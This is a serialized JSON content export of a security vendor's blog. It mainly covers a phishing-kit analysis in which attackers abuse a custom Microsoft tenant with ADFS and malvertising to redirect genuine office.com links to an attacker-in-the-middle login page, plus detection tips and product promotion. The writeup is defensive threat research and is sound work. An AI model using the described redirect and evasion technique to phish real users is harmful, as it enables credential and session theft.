disappears.",{"data":123191,"content":123192,"nodeType":1003},{},[123193],{"data":123194,"content":123195,"nodeType":866},{},[123196],{"data":123197,"marks":123198,"value":123199,"nodeType":865},{},[],"Get additional context from urlscan.io about the domains connected to the incident, helping you understand whether a domain has been reported as malicious by other users, when it was registered, and how many times it’s been scanned.",{"data":123201,"content":123202,"nodeType":1003},{},[123203],{"data":123204,"content":123205,"nodeType":866},{},[123206],{"data":123207,"marks":123208,"value":123209,"nodeType":865},{},[],"Interrogate and send this telemetry to your SIEM for you to operationalize it as part of SecOps workflows and hunt across events for similar incident characteristics.",{"data":123211,"content":123215,"nodeType":925},{"target":123212},{"sys":123213},{"id":123214,"type":922,"linkType":923},"5iPYWpPx4IZ2M1DykQiWsN",[],{"data":123217,"content":123218,"nodeType":1458},{},[123219],{"data":123220,"marks":123221,"value":123222,"nodeType":865},{},[],"Browser context",{"data":123224,"content":123225,"nodeType":866},{},[123226],{"data":123227,"marks":123228,"value":123229,"nodeType":865},{},[],"With Push, there’s no more: ",{"data":123231,"content":123232,"nodeType":1049},{},[123233,123243,123253,123263,123273,123283],{"data":123234,"content":123235,"nodeType":1003},{},[123236],{"data":123237,"content":123238,"nodeType":866},{},[123239],{"data":123240,"marks":123241,"value":123242,"nodeType":865},{},[],"Waiting (and hoping) that a browser-based attack gets recognized and reported by a user.",{"data":123244,"content":123245,"nodeType":1003},{},[123246],{"data":123247,"content":123248,"nodeType":866},{},[123249],{"data":123250,"marks":123251,"value":123252,"nodeType":865},{},[],"Guesswork as to exactly what happened on the phishing page. ",{"data":123254,"content":123255,"nodeType":1003},{},[123256],{"data":123257,"content":123258,"nodeType":866},{},[123259],{"data":123260,"marks":123261,"value":123262,"nodeType":865},{},[],"Struggling to get your hands on a live version of the page to see if it was actually malicious and getting thwarted because the attacker used a one-time phishing link. ",{"data":123264,"content":123265,"nodeType":1003},{},[123266],{"data":123267,"content":123268,"nodeType":866},{},[123269],{"data":123270,"marks":123271,"value":123272,"nodeType":865},{},[],"Manually tracing the attack to see if it arrived by email so you can quarantine the messages. ",{"data":123274,"content":123275,"nodeType":1003},{},[123276],{"data":123277,"content":123278,"nodeType":866},{},[123279],{"data":123280,"marks":123281,"value":123282,"nodeType":865},{},[],"Trawling through voluminous proxy logs for scraps of information (who else visited the link; where did it originate; etc.).",{"data":123284,"content":123285,"nodeType":1003},{},[123286],{"data":123287,"content":123288,"nodeType":866},{},[123289],{"data":123290,"marks":123291,"value":123292,"nodeType":865},{},[],"Spending precious time on urlscan or VirusTotal to get basic context on a domain or IP address. ",{"data":123294,"content":123295,"nodeType":866},{},[123296],{"data":123297,"marks":123298,"value":123299,"nodeType":865},{},[],"Instead, Push gives you all the information you need in one place to investigate and respond. ",{"data":123301,"content":123302,"nodeType":866},{},[123303],{"data":123304,"marks":123305,"value":123306,"nodeType":865},{},[],"The foundation for these detections is the Push browser agent, which can be silently installed in all major browsers in your environment to begin streaming information about a user’s entire identity footprint. ",{"data":123308,"content":123309,"nodeType":866},{},[123310],{"data":123311,"marks":123312,"value":123313,"nodeType":865},{},[],"This valuable telemetry, combined with Push’s out-of-the-box controls and detections, gives you a seat on the user’s side of the equation, capturing reliable information about network requests, scripts loaded by a malicious website, and what a user clicked and navigated to: the ingredients for showing you how a browser-based attack unfolded, start to finish.",{"data":123315,"content":123319,"nodeType":925},{"target":123316},{"sys":123317},{"id":123318,"type":922,"linkType":923},"7ylgcaNDrxYhw7bULixM1C",[],{"data":123321,"content":123322,"nodeType":866},{},[123323],{"data":123324,"marks":123325,"value":123326,"nodeType":865},{},[],"Push raises a detection when it observes a phishing attack or when a user attempts to visit a blocked URL. You can view detections in the Push admin console, or send them to your SIEM or SOAR for correlation and analysis.",{"data":123328,"content":123329,"nodeType":1458},{},[123330],{"data":123331,"marks":123332,"value":123333,"nodeType":865},{},[],"Screenshot capture",{"data":123335,"content":123336,"nodeType":866},{},[123337],{"data":123338,"marks":123339,"value":123340,"nodeType":865},{},[],"The Push extension can also capture a screenshot at the time of a detection firing. This means security teams can see the visual characteristics of the page even if it’s since been taken down (and no more looking at bot protection screens like Cloudflare Turnstile on urlscan). ",{"data":123342,"content":123346,"nodeType":925},{"target":123343},{"sys":123344},{"id":123345,"type":922,"linkType":923},"58HPrc7wImm3mLxPK0yJOG",[],{"data":123348,"content":123349,"nodeType":1458},{},[123350],{"data":123351,"marks":123352,"value":123353,"nodeType":865},{},[],"Blast radius analysis for all impacted accounts & apps",{"data":123355,"content":123356,"nodeType":866},{},[123357],{"data":123358,"marks":123359,"value":123360,"nodeType":865},{},[],"With Push’s knowledge of your workforce identities — based on observing logins in the browser that use corporate credentials — the platform can also provide an analysis of the blast radius of an attack by showing you where other accounts and apps are impacted or at risk.",{"data":123362,"content":123363,"nodeType":866},{},[123364],{"data":123365,"marks":123366,"value":123367,"nodeType":865},{},[],"This information helps you understand the true impact of an incident so you can remediate all affected accounts.",{"data":123369,"content":123373,"nodeType":925},{"target":123370},{"sys":123371},{"id":123372,"type":922,"linkType":923},"77e8XMl2Rb0p7ZrG2wmURO",[],{"data":123375,"content":123376,"nodeType":866},{},[123377,123381,123390],{"data":123378,"marks":123379,"value":123380,"nodeType":865},{},[],"Push is able to provide this blast radius analysis by ",{"data":123382,"content":123384,"nodeType":882},{"uri":123383},"https://pushsecurity.com/help/10043/#how-push-securely-analyzes-passwords",[123385],{"data":123386,"marks":123387,"value":123389,"nodeType":865},{},[123388],{"type":997},"securely fingerprinting users’ passwords",{"data":123391,"marks":123392,"value":123393,"nodeType":865},{},[]," when a login is observed; analyzing them for security posture issues such as missing MFA, or stolen, weak, or reused passwords; and then raising that relevant context for a given detection.",{"data":123395,"content":123396,"nodeType":1458},{},[123397],{"data":123398,"marks":123399,"value":123400,"nodeType":865},{},[],"Correlated context from urlscan.io",{"data":123402,"content":123403,"nodeType":866},{},[123404],{"data":123405,"marks":123406,"value":123407,"nodeType":865},{},[],"Finally, through an integration with urlscan.io, Push is able to provide additional context about the domains involved in a detection event, including:",{"data":123409,"content":123410,"nodeType":1049},{},[123411,123421,123431,123441],{"data":123412,"content":123413,"nodeType":1003},{},[123414],{"data":123415,"content":123416,"nodeType":866},{},[123417],{"data":123418,"marks":123419,"value":123420,"nodeType":865},{},[],"When they were created",{"data":123422,"content":123423,"nodeType":1003},{},[123424],{"data":123425,"content":123426,"nodeType":866},{},[123427],{"data":123428,"marks":123429,"value":123430,"nodeType":865},{},[],"How many times they have previously been scanned",{"data":123432,"content":123433,"nodeType":1003},{},[123434],{"data":123435,"content":123436,"nodeType":866},{},[123437],{"data":123438,"marks":123439,"value":123440,"nodeType":865},{},[],"When they were last scanned",{"data":123442,"content":123443,"nodeType":1003},{},[123444],{"data":123445,"content":123446,"nodeType":866},{},[123447],{"data":123448,"marks":123449,"value":123450,"nodeType":865},{},[],"If urlscan has marked them as suspicious",{"data":123452,"content":123456,"nodeType":925},{"target":123453},{"sys":123454},{"id":123455,"type":922,"linkType":923},"2AKpAk65XdmaGBfe2V4qZ5",[],{"data":123458,"content":123459,"nodeType":953},{},[],{"data":123461,"content":123462,"nodeType":963},{},[123463],{"data":123464,"marks":123465,"value":123467,"nodeType":865},{},[123466],{"type":961},"Check out our latest webinar for practical guidance in real-world scenarios",{"data":123469,"content":123470,"nodeType":866},{},[123471,123475,123484,123487],{"data":123472,"marks":123473,"value":123474,"nodeType":865},{},[],"For practical advice and applied examples of how to use Push data in incident response — as well as some bonus examples of automated response and remediation use cases — ",{"data":123476,"content":123478,"nodeType":882},{"uri":123477},"https://pushsecurity.com/webinar/identity-detection-response",[123479],{"data":123480,"marks":123481,"value":123483,"nodeType":865},{},[123482],{"type":997},"join us live on August 13 for our webinar",{"data":123485,"marks":123486,"value":2186,"nodeType":865},{},[],{"data":123488,"marks":123489,"value":123491,"nodeType":865},{},[123490],{"type":961},"“Identity attacks have changed — have your IR playbooks?”",{"data":123493,"content":123494,"nodeType":953},{},[],{"data":123496,"content":123497,"nodeType":963},{},[123498],{"data":123499,"marks":123500,"value":1704,"nodeType":865},{},[123501],{"type":961},{"data":123503,"content":123504,"nodeType":866},{},[123505],{"data":123506,"marks":123507,"value":123508,"nodeType":865},{},[],"Push’s browser-based security platform provides comprehensive identity attack detection and response capabilities against techniques like AiTM phishing, credential stuffing, password spraying, and session hijacking using stolen session tokens. ",{"data":123510,"content":123511,"nodeType":866},{},[123512],{"data":123513,"marks":123514,"value":123515,"nodeType":865},{},[],"You can also use Push to find and fix identity vulnerabilities across every app that your employees use, including ghost logins; SSO coverage gaps; MFA gaps; weak, breached and reused passwords; risky OAuth integrations; and more.",{"data":123517,"content":123518,"nodeType":866},{},[123519,123523,123531],{"data":123520,"marks":123521,"value":123522,"nodeType":865},{},[],"If you want to learn more about how Push helps you to detect and defeat common identity attack techniques, ",{"data":123524,"content":123525,"nodeType":882},{"uri":13728},[123526],{"data":123527,"marks":123528,"value":123530,"nodeType":865},{},[123529],{"type":997},"request a demo.",{"data":123532,"marks":123533,"value":21,"nodeType":865},{},[],"We’re launching a new Detections capability, enabling security teams to more effectively investigate and triage alerts, and build more effective workflows. ","2025-07-29T00:00:00.000Z",{"items":123537},[123538,123540],{"sys":123539,"name":342},{"id":8410},{"sys":123541,"name":11426},{"id":11425},{"items":123543},[123544],{"fullName":3774,"firstName":3775,"jobTitle":3776,"profilePicture":123545},{"url":3778},{"__typename":1788,"sys":123547,"content":123549,"title":124135,"synopsis":124136,"hashTags":59,"publishedDate":124137,"slug":124138,"tagsCollection":124139,"authorsCollection":124145},{"id":123548},"5y6UUG3mMTu1dFhtKO0AUT",{"json":123550},{"data":123551,"content":123552,"nodeType":1739},{},[123553,123560,123567,123587,123594,123613,123620,123623,123631,123638,123645,123651,123658,123703,123745,123753,123760,123780,123815,123821,123828,123834,123841,123849,123879,123885,123888,123895,123915,123935,123965,123970,123973,123981,123988,124081,124084,124091,124107,124113,124119],{"data":123554,"content":123555,"nodeType":866},{},[123556],{"data":123557,"marks":123558,"value":123559,"nodeType":865},{},[],"Everything we do at Push is research-driven. Our detections for phishing attacks were created through hands-on analysis of phishing kits that our customers have been targeted with. This gives us a steady supply of all manner of modern Attacker-in-the-Middle phishing kits to analyze — from the classic Evilginx-style phish kit to professionalized criminal as-a-Service infrastructure. ",{"data":123561,"content":123562,"nodeType":866},{},[123563],{"data":123564,"marks":123565,"value":123566,"nodeType":865},{},[],"In our most recent phish kit teardown, we encountered a standard reverse-proxy clone of a Microsoft login page — nothing unusual at first glance. But increasingly, a lot of the innovation comes outside of the phishing page itself. ",{"data":123568,"content":123569,"nodeType":866},{},[123570,123574,123583],{"data":123571,"marks":123572,"value":123573,"nodeType":865},{},[],"The art in detection evasion comes from being able to successfully deliver the page to a user and have them open the page without it being intercepted by an email security, proxy scanner, URL TI feed, or web analysis tool. To achieve this, the attacker found a way to redirect from a legitimate ",{"data":123575,"content":123577,"nodeType":882},{"uri":123576},"http://outlook.office.com",[123578],{"data":123579,"marks":123580,"value":123582,"nodeType":865},{},[123581],{"type":997},"outlook.office.com",{"data":123584,"marks":123585,"value":123586,"nodeType":865},{},[]," link to a phishing website. ",{"data":123588,"content":123589,"nodeType":866},{},[123590],{"data":123591,"marks":123592,"value":123593,"nodeType":865},{},[],"This is essentially an open redirect vulnerability — maybe not the classic example where someone has forgotten to do input sanitization on their website, but the outcome is the same.",{"data":123595,"content":123596,"nodeType":866},{},[123597,123601,123609],{"data":123598,"marks":123599,"value":123600,"nodeType":865},{},[],"Central to our analysis was the use of our timelines feature, ",{"data":123602,"content":123603,"nodeType":882},{"uri":121300},[123604],{"data":123605,"marks":123606,"value":123608,"nodeType":865},{},[123607],{"type":997},"part of our latest Detections feature release",{"data":123610,"marks":123611,"value":123612,"nodeType":865},{},[],". I’m not going to talk in any detail about this, but the TL;DR is that it allows us to trace back the entire chain of browsing activity leading up to a detection — showing the full (sometimes lengthy) redirect chain from the initial link delivery source to the actual phishing page, tabs opened and closed, popup windows, forms submitted, passwords entered, and more. ",{"data":123614,"content":123615,"nodeType":866},{},[123616],{"data":123617,"marks":123618,"value":123619,"nodeType":865},{},[],"First, let’s go through the steps of my investigation before looking at the findings (and the implications for phishing detection evasion techniques). ",{"data":123621,"content":123622,"nodeType":953},{},[],{"data":123624,"content":123625,"nodeType":963},{},[123626],{"data":123627,"marks":123628,"value":123630,"nodeType":865},{},[123629],{"type":961},"Investigation walkthrough",{"data":123632,"content":123633,"nodeType":866},{},[123634],{"data":123635,"marks":123636,"value":123637,"nodeType":865},{},[],"As I opened with, there was nothing especially notable about the phishing page itself — a standard reverse-proxy AitM page designed to intercept the user’s session as they authenticate, bypassing MFA in the process. ",{"data":123639,"content":123640,"nodeType":866},{},[123641],{"data":123642,"marks":123643,"value":123644,"nodeType":865},{},[],"This was not targeted delivery — employees from several customers were impacted. I’ve included an example of how one user arrived at the site below.",{"data":123646,"content":123650,"nodeType":925},{"target":123647},{"sys":123648},{"id":123649,"type":922,"linkType":923},"51MnOL9XqQDkllK2Jer4S9",[],{"data":123652,"content":123653,"nodeType":866},{},[123654],{"data":123655,"marks":123656,"value":123657,"nodeType":865},{},[],"This one stood out to me for a few reasons. ",{"data":123659,"content":123660,"nodeType":1049},{},[123661,123671,123693],{"data":123662,"content":123663,"nodeType":1003},{},[123664],{"data":123665,"content":123666,"nodeType":866},{},[123667],{"data":123668,"marks":123669,"value":123670,"nodeType":865},{},[],"The user had accessed the malicious link from Google search. They searched “Office 265\" (a typo presumably), clicked a link, and were taken to an Office login page.",{"data":123672,"content":123673,"nodeType":1003},{},[123674],{"data":123675,"content":123676,"nodeType":866},{},[123677,123681,123689],{"data":123678,"marks":123679,"value":123680,"nodeType":865},{},[],"The Outlook link had a number of Google Ads tracking parameters attached, meaning they clicked an ad, not an organic link — making this a ",{"data":123682,"content":123684,"nodeType":882},{"uri":123683},"https://pushsecurity.github.io/phishing-techniques/techniques/malvertising/",[123685],{"data":123686,"marks":123687,"value":441,"nodeType":865},{},[123688],{"type":997},{"data":123690,"marks":123691,"value":123692,"nodeType":865},{},[]," attack. ",{"data":123694,"content":123695,"nodeType":1003},{},[123696],{"data":123697,"content":123698,"nodeType":866},{},[123699],{"data":123700,"marks":123701,"value":123702,"nodeType":865},{},[],"Another domain — bluegraintours[.]com — was in the URL path, after which they were redirected to the Microsoft-impersonating phishing site (login-microsoftonline[.]offirmtm[.]com ...). ",{"data":123704,"content":123705,"nodeType":866},{},[123706,123710,123719,123723,123730,123734,123741],{"data":123707,"marks":123708,"value":123709,"nodeType":865},{},[],"This got me wondering — how did they get ",{"data":123711,"content":123713,"nodeType":882},{"uri":123712},"http://office.com",[123714],{"data":123715,"marks":123716,"value":123718,"nodeType":865},{},[123717],{"type":997},"office.com",{"data":123720,"marks":123721,"value":123722,"nodeType":865},{},[]," to redirect to the phishing site, and why was the bluegraintours domain in the path of an ",{"data":123724,"content":123725,"nodeType":882},{"uri":123712},[123726],{"data":123727,"marks":123728,"value":123718,"nodeType":865},{},[123729],{"type":997},{"data":123731,"marks":123732,"value":123733,"nodeType":865},{},[]," link? There was no indication that an actual phishing email was interacted with, it seemed to all happen directly from the legitimate ",{"data":123735,"content":123736,"nodeType":882},{"uri":123712},[123737],{"data":123738,"marks":123739,"value":123718,"nodeType":865},{},[123740],{"type":997},{"data":123742,"marks":123743,"value":123744,"nodeType":865},{},[]," link. ",{"data":123746,"content":123747,"nodeType":1458},{},[123748],{"data":123749,"marks":123750,"value":123752,"nodeType":865},{},[123751],{"type":961},"Redirecting to a malicious login page via ADFS",{"data":123754,"content":123755,"nodeType":866},{},[123756],{"data":123757,"marks":123758,"value":123759,"nodeType":865},{},[],"From memory, I knew that the tenant name can appear in the URL when you’re accessing a specific Microsoft tenant for your organization — essentially a domain-specific landing page. ",{"data":123761,"content":123762,"nodeType":866},{},[123763,123767,123776],{"data":123764,"marks":123765,"value":123766,"nodeType":865},{},[],"It turns out the attacker had set up a custom Microsoft tenant with ",{"data":123768,"content":123770,"nodeType":882},{"uri":123769},"https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/ad-fs-overview",[123771],{"data":123772,"marks":123773,"value":123775,"nodeType":865},{},[123774],{"type":997},"Active Directory Federation Services (ADFS)",{"data":123777,"marks":123778,"value":123779,"nodeType":865},{},[]," configured. If you’re not familiar, ADFS is an SSO solution that is often used to connect on-premises Active Directory with cloud services like Microsoft 365 or Azure Active Directory. This means Microsoft will perform the redirect to the custom malicious domain. ",{"data":123781,"content":123782,"nodeType":866},{},[123783,123787,123794,123798,123806,123810],{"data":123784,"marks":123785,"value":123786,"nodeType":865},{},[],"This is strikingly similar to ",{"data":123788,"content":123789,"nodeType":882},{"uri":114564},[123790],{"data":123791,"marks":123792,"value":114570,"nodeType":865},{},[123793],{"type":997},{"data":123795,"marks":123796,"value":123797,"nodeType":865},{},[],", a technique I’ve ",{"data":123799,"content":123800,"nodeType":882},{"uri":26096},[123801],{"data":123802,"marks":123803,"value":123805,"nodeType":865},{},[123804],{"type":997},"blogged about previously",{"data":123807,"marks":123808,"value":123809,"nodeType":865},{},[]," which allows you to change the identity provider domain that an application’s users authenticate through. Attackers can change this link to their phishing page that proxies the legitimate site to phish users through legitimate sign-in links — ",{"data":123811,"marks":123812,"value":123814,"nodeType":865},{},[123813],{"type":961},"so I guess that makes this ADFSjacking?",{"data":123816,"content":123820,"nodeType":925},{"target":123817},{"sys":123818},{"id":123819,"type":922,"linkType":923},"3BXyDhMC69355gLRqyIwQP",[],{"data":123822,"content":123823,"nodeType":866},{},[123824],{"data":123825,"marks":123826,"value":123827,"nodeType":865},{},[],"I had initially assumed that bluegraintours was a legitimate website that had been compromised by the attacker and used as a redirect, which is pretty common behavior for threat groups. However, it turns out that it’s actually a fake website that the attackers have probably vibe-coded. ",{"data":123829,"content":123833,"nodeType":925},{"target":123830},{"sys":123831},{"id":123832,"type":922,"linkType":923},"1hnWJ0jgsPqRELDqUeFzf3",[],{"data":123835,"content":123836,"nodeType":866},{},[123837],{"data":123838,"marks":123839,"value":123840,"nodeType":865},{},[],"It’s worth noting that this isn’t something that the phishing victim would see as part of the attack — it’s purely used as an invisible redirect. This is most likely to be an attempt to mask the nature of the domain for domain categorization purposes, which is typical for proxy-based solutions to prevent users from browsing to unapproved things — this way, automated scanners will classify it as a travel blog. ",{"data":123842,"content":123843,"nodeType":1458},{},[123844],{"data":123845,"marks":123846,"value":123848,"nodeType":865},{},[123847],{"type":961},"Conditional loading interrupted the page analysis",{"data":123850,"content":123851,"nodeType":866},{},[123852,123856,123864,123868,123875],{"data":123853,"marks":123854,"value":123855,"nodeType":865},{},[],"While the user was taken to the phishing page at the end of the chain, ",{"data":123857,"content":123859,"nodeType":882},{"uri":123858},"https://pushsecurity.github.io/phishing-techniques/techniques/conditional-loading/",[123860],{"data":123861,"marks":123862,"value":70323,"nodeType":865},{},[123863],{"type":997},{"data":123865,"marks":123866,"value":123867,"nodeType":865},{},[]," restrictions prevented us from recreating the full attack flow when loading the initial link clicked by the user. This happens when certain conditions of the page load aren’t met. Because the kit decides I’m not a valid target, I’m redirected back to ",{"data":123869,"content":123870,"nodeType":882},{"uri":123712},[123871],{"data":123872,"marks":123873,"value":123718,"nodeType":865},{},[123874],{"type":997},{"data":123876,"marks":123877,"value":123878,"nodeType":865},{},[],". However, we were able to skip ahead and bypass the conditional loading to access the phishing server directly. ",{"data":123880,"content":123884,"nodeType":925},{"target":123881},{"sys":123882},{"id":123883,"type":922,"linkType":923},"68rW6CHJOJ2u3mCc08lGvZ",[],{"data":123886,"content":123887,"nodeType":953},{},[],{"data":123889,"content":123890,"nodeType":963},{},[123891],{"data":123892,"marks":123893,"value":70686,"nodeType":865},{},[123894],{"type":961},{"data":123896,"content":123897,"nodeType":866},{},[123898,123902,123911],{"data":123899,"marks":123900,"value":123901,"nodeType":865},{},[],"While this isn’t a vulnerability per se, the ability for attackers to add their own Microsoft ADFS server to host their phishing page and have Microsoft redirect to it is a concerning development that will make URL-based detections even more challenging than they already are. ",{"data":123903,"content":123905,"nodeType":882},{"uri":123904},"https://pushsecurity.github.io/phishing-techniques/techniques/trusted-website-hosting/",[123906],{"data":123907,"marks":123908,"value":123910,"nodeType":865},{},[123909],{"type":997},"Hosting phishing links on trusted third-party websites",{"data":123912,"marks":123913,"value":123914,"nodeType":865},{},[]," is a highly effective way of both bypassing URL-based detections and implementing layers of obfuscation in their phishing delivery chain that can break automated analysis tools.  ",{"data":123916,"content":123917,"nodeType":866},{},[123918,123922,123931],{"data":123919,"marks":123920,"value":123921,"nodeType":865},{},[],"This is basically the equivalent to ",{"data":123923,"content":123925,"nodeType":882},{"uri":123924},"http://outlook.com",[123926],{"data":123927,"marks":123928,"value":123930,"nodeType":865},{},[123929],{"type":997},"Outlook.com",{"data":123932,"marks":123933,"value":123934,"nodeType":865},{},[]," having an open redirect vulnerability, which would be a huge deal in the eyes of most security practitioners. In practice, it’s a little harder for the average attacker to make use of this, but anyone that is willing to create a Microsoft tenant and set up ADFS could create similar phishing infrastructure  — which only requires passing a credit card check. ",{"data":123936,"content":123937,"nodeType":866},{},[123938,123942,123949,123953,123961],{"data":123939,"marks":123940,"value":123941,"nodeType":865},{},[],"The other notable component to this attack is the use of ",{"data":123943,"content":123944,"nodeType":882},{"uri":123683},[123945],{"data":123946,"marks":123947,"value":441,"nodeType":865},{},[123948],{"type":997},{"data":123950,"marks":123951,"value":123952,"nodeType":865},{},[]," as the lure delivery channel. This is a trend we spotted recently with ",{"data":123954,"content":123955,"nodeType":882},{"uri":90242},[123956],{"data":123957,"marks":123958,"value":123960,"nodeType":865},{},[123959],{"type":997},"Scattered Spider’s use of Onfido-based malvertising lures",{"data":123962,"marks":123963,"value":123964,"nodeType":865},{},[],". Malvertising is a great way for attackers to sidestep phishing controls placed at the email layer (where the majority are) and, as in this case, can create a highly-convincing and difficult-to-spot phishing scenario.  ",{"data":123966,"content":123969,"nodeType":925},{"target":123967},{"sys":123968},{"id":71049,"type":922,"linkType":923},[],{"data":123971,"content":123972,"nodeType":953},{},[],{"data":123974,"content":123975,"nodeType":963},{},[123976],{"data":123977,"marks":123978,"value":123980,"nodeType":865},{},[123979],{"type":961},"Detection recommendations",{"data":123982,"content":123983,"nodeType":866},{},[123984],{"data":123985,"marks":123986,"value":123987,"nodeType":865},{},[],"There are a couple of tool-agnostic hardening options that can used to limit exposure to the specifics of this attack:",{"data":123989,"content":123990,"nodeType":1049},{},[123991,124001,124022],{"data":123992,"content":123993,"nodeType":1003},{},[123994],{"data":123995,"content":123996,"nodeType":866},{},[123997],{"data":123998,"marks":123999,"value":124000,"nodeType":865},{},[],"Monitoring for ADFS redirects in proxy logs that could be malicious, i.e. login.microsoftonline.com redirecting to another domain with /adfs/ls/ in the path. Many organizations do not use ADFS, while those that do should be able to filter legitimate ones to their legitimate domain relatively easily. ",{"data":124002,"content":124003,"nodeType":1003},{},[124004],{"data":124005,"content":124006,"nodeType":866},{},[124007,124011,124018],{"data":124008,"marks":124009,"value":124010,"nodeType":865},{},[],"Monitoring for Google redirects to ",{"data":124012,"content":124013,"nodeType":882},{"uri":123712},[124014],{"data":124015,"marks":124016,"value":123718,"nodeType":865},{},[124017],{"type":997},{"data":124019,"marks":124020,"value":124021,"nodeType":865},{},[]," with Google ad parameters for more specific detection of malvertising + ADFS hijacking as in this example. ",{"data":124023,"content":124024,"nodeType":1003},{},[124025],{"data":124026,"content":124027,"nodeType":866},{},[124028,124032,124041,124044,124053,124056,124065,124068,124077],{"data":124029,"marks":124030,"value":124031,"nodeType":865},{},[],"Deploying ad blockers to all of your browsers to stop malvertising attacks — though this only serves to tackle one of the several possible delivery vectors, such as links delivered using ",{"data":124033,"content":124035,"nodeType":882},{"uri":124034},"https://pushsecurity.github.io/phishing-techniques/techniques/email-legitimate-app/",[124036],{"data":124037,"marks":124038,"value":124040,"nodeType":865},{},[124039],{"type":997},"legitimate third-party services",{"data":124042,"marks":124043,"value":2186,"nodeType":865},{},[],{"data":124045,"content":124047,"nodeType":882},{"uri":124046},"https://pushsecurity.github.io/phishing-techniques/techniques/social-media/",[124048],{"data":124049,"marks":124050,"value":124052,"nodeType":865},{},[124051],{"type":997},"social media",{"data":124054,"marks":124055,"value":2186,"nodeType":865},{},[],{"data":124057,"content":124059,"nodeType":882},{"uri":124058},"https://pushsecurity.github.io/phishing-techniques/techniques/instant-messenger/",[124060],{"data":124061,"marks":124062,"value":124064,"nodeType":865},{},[124063],{"type":997},"instant messenger",{"data":124066,"marks":124067,"value":22722,"nodeType":865},{},[],{"data":124069,"content":124071,"nodeType":882},{"uri":124070},"https://pushsecurity.github.io/phishing-techniques/techniques/email-attachment/",[124072],{"data":124073,"marks":124074,"value":124076,"nodeType":865},{},[124075],{"type":997},"email attachment",{"data":124078,"marks":124079,"value":124080,"nodeType":865},{},[],". (This is one of the limitations of focusing on specific delivery mechanisms — attackers have more to choose from than ever before. It’s not just an email problem). ",{"data":124082,"content":124083,"nodeType":953},{},[],{"data":124085,"content":124086,"nodeType":963},{},[124087],{"data":124088,"marks":124089,"value":1704,"nodeType":865},{},[124090],{"type":961},{"data":124092,"content":124093,"nodeType":866},{},[124094,124098,124104],{"data":124095,"marks":124096,"value":124097,"nodeType":865},{},[],"Push doesn’t detect the redirect tricks, or relies on outdated domain TI feeds. It doesn’t matter what ",{"data":124099,"content":124100,"nodeType":882},{"uri":13634},[124101],{"data":124102,"marks":124103,"value":71006,"nodeType":865},{},[],{"data":124105,"marks":124106,"value":121336,"nodeType":865},{},[],{"data":124108,"content":124109,"nodeType":866},{},[124110],{"data":124111,"marks":124112,"value":123508,"nodeType":865},{},[],{"data":124114,"content":124115,"nodeType":866},{},[124116],{"data":124117,"marks":124118,"value":123515,"nodeType":865},{},[],{"data":124120,"content":124121,"nodeType":866},{},[124122,124125,124132],{"data":124123,"marks":124124,"value":123522,"nodeType":865},{},[],{"data":124126,"content":124127,"nodeType":882},{"uri":13728},[124128],{"data":124129,"marks":124130,"value":123530,"nodeType":865},{},[124131],{"type":997},{"data":124133,"marks":124134,"value":21,"nodeType":865},{},[],"How attackers are using Active Directory Federation Services to phish with legit office.com links","Push recently identified a novel phishing attack using Active Directory Federation Services to get Microsoft to send victims to a phishing site.","2025-08-12T00:00:00.000Z","phishing-with-active-directory-federation-services",{"items":124140},[124141,124143],{"sys":124142,"name":342},{"id":8410},{"sys":124144,"name":11426},{"id":11425},{"items":124146},[124147],{"fullName":32445,"firstName":32446,"jobTitle":32447,"profilePicture":124148},{"url":32449},{"__typename":1788,"sys":124150,"content":124152,"title":124922,"synopsis":124923,"hashTags":59,"publishedDate":124924,"slug":124925,"tagsCollection":124926,"authorsCollection":124932},{"id":124151},"31m73YMGdCyqVmjHulBwER",{"json":124153},{"data":124154,"content":124155,"nodeType":1739},{},[124156,124163,124196,124203,124209,124216,124247,124254,124260,124263,124271,124278,124285,124342,124360,124372,124379,124385,124388,124396,124412,124418,124425,124431,124438,124474,124480,124483,124491,124498,124505,124627,124633,124663,124670,124673,124681,124688,124695,124736,124764,124771,124846,124852,124855,124862,124869,124889,124892,124899,124906],{"data":124157,"content":124158,"nodeType":866},{},[124159],{"data":124160,"marks":124161,"value":124162,"nodeType":865},{},[],"Until recently, the cyber attacker methodology behind the biggest breaches of the last decade or so has been pretty consistent:",{"data":124164,"content":124165,"nodeType":1049},{},[124166,124176,124186],{"data":124167,"content":124168,"nodeType":1003},{},[124169],{"data":124170,"content":124171,"nodeType":866},{},[124172],{"data":124173,"marks":124174,"value":124175,"nodeType":865},{},[],"Compromise an endpoint via software exploit, or social engineering a user to run malware on their device; ",{"data":124177,"content":124178,"nodeType":1003},{},[124179],{"data":124180,"content":124181,"nodeType":866},{},[124182],{"data":124183,"marks":124184,"value":124185,"nodeType":865},{},[],"Find ways to move laterally inside the network and compromise privileged identities;",{"data":124187,"content":124188,"nodeType":1003},{},[124189],{"data":124190,"content":124191,"nodeType":866},{},[124192],{"data":124193,"marks":124194,"value":124195,"nodeType":865},{},[],"Repeat as needed until you can execute your desired attack — usually stealing data from file shares, deploying ransomware, or both. ",{"data":124197,"content":124198,"nodeType":866},{},[124199],{"data":124200,"marks":124201,"value":124202,"nodeType":865},{},[],"But attacks have fundamentally changed as networks have evolved. With the SaaS-ification of enterprise IT, core business systems aren’t locally deployed and centrally managed in the way they used to be. Instead, they’re logged into over the internet, via a web browser.",{"data":124204,"content":124208,"nodeType":925},{"target":124205},{"sys":124206},{"id":124207,"type":922,"linkType":923},"4h4hUYAghbZavOwjRTnBe2",[],{"data":124210,"content":124211,"nodeType":866},{},[124212],{"data":124213,"marks":124214,"value":124215,"nodeType":865},{},[],"Under the shared responsibility model, the part that’s left to the business consuming a SaaS service is mostly constrained to how they manage identities — the vehicle by which the app is accessed and used by the workforce. It’s no surprise that this has become the soft underbelly in the crosshairs of attackers. ",{"data":124217,"content":124218,"nodeType":866},{},[124219,124223,124231,124235,124244],{"data":124220,"marks":124221,"value":124222,"nodeType":865},{},[],"We’ve seen this time and again in the biggest breaches of recent years, with the highlights including the massive ",{"data":124224,"content":124225,"nodeType":882},{"uri":3904},[124226],{"data":124227,"marks":124228,"value":124230,"nodeType":865},{},[124229],{"type":997},"Snowflake campaign in 2024",{"data":124232,"marks":124233,"value":124234,"nodeType":865},{},[]," and the ",{"data":124236,"content":124238,"nodeType":882},{"uri":124237},"https://pushsecurity.com/blog/key-takeaways-from-the-scattered-spider-attacks-on-insurance-firms/",[124239],{"data":124240,"marks":124241,"value":124243,"nodeType":865},{},[124242],{"type":997},"2025 crime wave attributed to Scattered 